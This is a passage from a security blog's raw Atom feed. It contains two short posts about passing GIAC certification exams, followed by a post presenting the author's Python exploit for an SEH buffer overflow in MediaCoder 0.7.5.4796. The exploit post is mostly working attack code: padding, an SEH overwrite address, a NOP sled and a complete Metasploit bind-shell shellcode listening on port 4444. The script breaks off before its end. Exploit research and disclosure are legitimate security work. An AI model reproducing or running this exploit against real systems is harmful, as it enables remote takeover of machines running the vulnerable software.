understand ways an attacker can get in as well as recommendations pertaining to each of the phases of Incident handling process; i.e.&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&amp;nbsp;preparation / identification / containment / eradication / recovery and lessons learned. And lastly and equally importantly, as a consultant, you can show the playground and the game to (non-tech) executives.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;What say? Go for it!&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Best Regards.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-1940475159301764735?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/1940475159301764735/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/04/passed-giac-gcih.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/1940475159301764735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/1940475159301764735'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/04/passed-giac-gcih.html' title='Passed GIAC GCIH Exam'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-8130240603405444586</id><published>2011-03-14T23:23:00.001+05:30</published><updated>2012-01-30T01:10:48.848+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SANS 560'/><category scheme='http://www.blogger.com/atom/ns#' term='GPEN Exam'/><category scheme='http://www.blogger.com/atom/ns#' term='GPEN'/><category scheme='http://www.blogger.com/atom/ns#' term='Passed GPEN'/><category scheme='http://www.blogger.com/atom/ns#' term='GIAC'/><category scheme='http://www.blogger.com/atom/ns#' term='Ethical Hacking'/><title type='text'>Passed GIAC GPEN Exam today</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Hey peeps,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;My first post of this year. And what a busy lazy ass I've been since past few months.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;So quick update is that I attended SANS 560 class in February 2011. And sat for the exam today March 14, 2011 here at a local kryterion center, that's actually exactly 3 weeks later.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Briefly hissing, I completed the test in around 2:30 hours out of 4 and scored a decent 93%.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Yeah, I passed. I am GIAC GPEN certified now. Yay!&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;I hope I can use this weekend to try put down my study plan in a new post.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Ping me if you've any questions etc.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Keep learning.!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-8130240603405444586?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/8130240603405444586/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/03/passed-giac-gpen-today.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/8130240603405444586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/8130240603405444586'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/03/passed-giac-gpen-today.html' title='Passed GIAC GPEN Exam today'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-7897888421663925821</id><published>2010-12-09T04:38:00.003+05:30</published><updated>2011-08-03T03:54:01.215+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='41414141'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit development'/><category scheme='http://www.blogger.com/atom/ns#' term='SEH buffer overflow'/><category scheme='http://www.blogger.com/atom/ns#' term='MediaCoder v0.7.5.4796 Local Buffer Overflow [ SEH ]'/><title type='text'>MediaCoder v0.7.5.4796 Local Buffer Overflow [ SEH ]</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Recently I came across EDB &lt;a href="http://www.exploit-db.com/exploits/15630"&gt;http://www.exploit-db.com/exploits/15630&lt;/a&gt; - MediaCoder v0.7.5.4792 SEH overflow exploit.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;So, decided to verify the current release 0.7.5.4796 as well. There is a buffer overflow in this version which can allow an attacker to gain complete control of the system running this application.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Here is the exploit I wrote, for educational purposes only of course. :-)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;#!/usr/bin/python&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;import sys&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;# Download: http://www.mediacoderhq.com/getfile.htm?site=download.mediacoderhq.com&amp;amp;file=MediaCoder-0.7.5.4796.exe&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "#"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "********************************************************************* *"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "*&amp;nbsp; MediaCoder version &amp;lt;=v0.7.5.4796 SEH Buffer Overflow&amp;nbsp; &amp;nbsp;&amp;nbsp; *"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "*&amp;nbsp; Author : Karn Ganeshen&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "*&amp;nbsp; Date : December 05, 2010&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "*&amp;nbsp; KarnGaneshen [aT] gmail [d0t] c0m&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "*&amp;nbsp; http://ipositivesecurity.blogspot.com&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "#&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "**********************************************************************"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;print "#\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;if len(sys.argv) &amp;gt; 1:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "Usage: ./mcoder.py\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sys.exit(1)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;junk = "\x41" * 764&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;nseh = "\xEB\x06\x90\x90"#&amp;nbsp; Short jump&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;seh = "\x87\x71\x01\x66" #&amp;nbsp; 0x66017187 / C:\Program Files\MediaCoder\libiconv-2.dll&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;nops = "\x90" * 24&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;# win32_bind -&amp;nbsp; EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x43"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x58\x30\x41\x31\x50\x41\x42\x6b\x41\x41\x53\x32\x41\x42\x41\x32"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x4a\x49\x79\x6c\x62"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x4a\x48\x6b\x70\x4d\x38\x68\x6c\x39\x4b\x4f\x79\x6f\x6b\x4f\x73"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x50\x4c\x4b\x72\x4c\x46\x44\x57\x54\x4e\x6b\x31\x55\x67\x4c\x4e"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x6b\x63\x4c\x34\x45\x62\x58\x46\x61\x48\x6f\x4e\x6b\x50\x4f\x44"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x58\x6c\x4b\x51\x4f\x45\x70\x44\x41\x6a\x4b\x70\x49\x6e\x6b\x35"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x64\x4c\x4b\x53\x31\x78\x6e\x75\x61\x6b\x70\x4f\x69\x6e\x4c\x4b"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x34\x4f\x30\x53\x44\x57\x77\x6f\x31\x4b\x7a\x74\x4d\x75\x51\x69"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x52\x68\x6b\x48\x74\x57\x4b\x70\x54\x64\x64\x47\x58\x50\x75\x6d"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x35\x4c\x4b\x31\x4f\x36\x44\x56\x61\x78\x6b\x63\x56\x6c\x4b\x54"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x4c\x70\x4b\x4e\x6b\x53\x6f\x75\x4c\x47\x71\x5a\x4b\x63\x33\x54"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x6c\x4e\x6b\x6b\x39\x30\x6c\x44\x64\x35\x4c\x71\x71\x5a\x63\x34"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x71\x6b\x6b\x72\x44\x6c\x4b\x37\x33\x76\x50\x4e\x6b\x71\x50\x56"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x6c\x6c\x4b\x44\x30\x65\x4c\x4c\x6d\x4c\x4b\x77\x30\x35\x58\x61"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x4e\x62\x48\x6c\x4e\x62\x6e\x44\x4e\x38\x6c\x50\x50\x4b\x4f\x5a"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x76\x45\x36\x70\x53\x41\x76\x32\x48\x70\x33\x56\x52\x45\x38\x42"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x57\x72\x53\x34\x72\x63\x6f\x72\x74\x6b\x4f\x78\x50\x72\x48\x38"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x4b\x58\x6d\x6b\x4c\x65\x6b\x42\x70\x49\x6f\x69\x46\x71\x4f\x6c"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x49\x6a\x45\x65\x36\x4f\x71\x4a\x4d\x35\x58\x53\x32\x50\x55\x32"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x4a\x35\x52\x49\x6f\x48\x50\x31\x78\x7a\x79\x36\x69\x4c\x35\x6c"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x6d\x70\x57\x39\x6f\x6e\x36\x70\x53\x32\x73\x62\x73\x56\x33\x52"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x73\x73\x73\x52\x73\x33\x73\x30\x53\x6b\x4f\x4a\x70\x35\x36\x75"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x38\x52\x31\x41\x4c\x61\x76\x50\x53\x4d\x59\x4d\x31\x4d\x45\x55"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x38\x69\x34\x56\x7a\x42\x50\x5a\x67\x36\x37\x79\x6f\x7a\x76\x61"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x7a\x76\x70\x66\x31\x73\x65\x39\x6f\x68\x50\x41\x78\x4d\x74\x4e"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x4d\x76\x4e\x68\x69\x42\x77\x79\x6f\x59\x46\x36\x33\x66\x35\x69"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x6f\x6e\x30\x45\x38\x4b\x55\x51\x59\x6f\x76\x72\x69\x42\x77\x6b"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x4f\x4a\x76\x70\x50\x46\x34\x36\x34\x53\x65\x79\x6f\x6e\x30\x6c"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x53\x65\x38\x4b\x57\x70\x79\x5a\x66\x52\x59\x30\x57\x69\x6f\x6a"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x76\x30\x55\x59\x6f\x6e\x30\x70\x66\x70\x6a\x53\x54\x72\x46\x62"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x48\x65\x33\x50\x6d\x6c\x49\x4d\x35\x31\x7a\x52\x70\x70\x59\x44"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x69\x7a\x6c\x4c\x49\x69\x77\x51\x7a\x71\x54\x4f\x79\x4b\x52\x34"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x71\x39\x50\x4c\x33\x4d\x7a\x6b\x4e\x71\x52\x44\x6d\x6b\x4e\x37"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x32\x54\x6c\x4e\x73\x4e\x6d\x33\x4a\x56\x58\x6c\x6b\x6c\x6b\x6e"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x4b\x53\x58\x64\x32\x69\x6e\x6c\x73\x44\x56\x6b\x4f\x73\x45\x47"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x34\x4b\x4f\x79\x46\x33\x6b\x42\x77\x73\x62\x30\x51\x73\x61\x72"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x71\x62\x4a\x33\x31\x42\x71\x50\x51\x72\x75\x50\x51\x49\x6f\x78"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x50\x71\x78\x4e\x4d\x39\x49\x75\x55\x6a\x6e\x70\x53\x4b\x4f\x59"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x46\x32\x4a\x4b\x4f\x49\x6f\x56\x57\x69\x6f\x5a\x70\x4e\x6b\x33"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x67\x49\x6c\x6d\x53\x39\x54\x55\x34\x39\x6f\x4b\x66\x31\x42\x69"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x6f\x4a\x70\x62\x48\x78\x70\x4d\x5a\x35\x54\x63\x6f\x70\x53\x39"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;"\x6f\x4e\x36\x39\x6f\x38\x50\x43")&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;more = "\x90" * 10&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span 